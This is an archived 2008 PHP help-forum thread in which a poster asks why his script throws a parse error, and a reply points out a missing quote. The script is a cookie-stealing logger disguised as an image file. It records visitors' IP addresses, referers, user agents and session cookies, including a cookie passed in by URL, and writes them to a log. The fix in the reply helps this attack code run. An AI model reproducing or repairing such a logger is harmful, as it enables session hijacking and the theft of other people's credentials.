matthewtheexploit Posted July 27, 2008 Share Posted July 27, 2008 I keep getting a "Parse error: parse error, unexpected '\'' in /home/content/h/e/y/heytimbofr/html/MTEXIT/mte/lol.jpg/loler.php on line 10" <?php header ("Content-type: image/png"); $ip = ($_SERVER['REMOTE_ADDR']); $externalCookie = $_GET[cookie]; $thisCookie = ($_SERVER['HTTP_COOKIE']); $referer = ($_SERVER['HTTP_REFERER']); $agent = ($_SERVER['HTTP_USER_AGENT']); $return = "\n"; $twoReturn = "\n\n"; $filename = log.txt'; $fp = fopen($filename, "a+"); $write = fputs($fp, $ip, $return, $referer, $return, $agent, $twoReturn, $externalCookie, $twoReturn, $thisCookie, twoReturn); $img_handle = ImageCreate (500, 20) or die ("Cannot Create image"); $back_color = ImageColorAllocate ($img_handle, 255, 255, 255); $txt_color = ImageColorAllocate ($img_handle, 231, 43, 43); ImageString ($img_handle, 31, 5, 5, "owned", $txt_color); ImagePng ($img_handle); ?> maybe you can figure out what i did wrong? Link to comment https://forums.phpfreaks.com/topic/116784-parse-error-help/ Share on other sites More sharing options...
toivo Posted July 27, 2008 Share Posted July 27, 2008 The initial single quote is missing: $filename = 'log.txt'; Link to comment https://forums.phpfreaks.com/topic/116784-parse-error-help/#findComment-600560 Share on other sites More sharing options...
Recommended Posts
Archived
This topic is now archived and is closed to further replies.